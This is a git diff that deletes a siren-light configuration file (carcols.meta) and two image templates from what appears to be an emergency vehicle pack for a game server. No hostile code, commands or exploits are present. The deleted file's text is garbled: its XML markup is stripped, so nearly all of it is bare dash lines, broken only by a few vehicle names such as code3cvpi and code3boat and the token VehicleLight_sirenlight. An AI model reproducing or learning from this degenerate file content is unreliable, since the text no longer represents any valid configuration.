diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ther_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ther_sign_1.png
deleted file mode 100644
index 0bbbb092d..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/ther_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/windows.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/windows.png
deleted file mode 100644
index 0a46940cb..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/Templates/windows.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carcols.meta
deleted file mode 100644
index 75239b0e4..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/carcols.meta
+++ /dev/null
@@ -1,20824 +0,0 @@
-
-
-
-
-
- -
-
- code318charg
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3fpis
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3cvpi
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code314charg
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3cap
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3boat
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code318chargk9
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code3trailer
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code320exp
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- code316impala
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
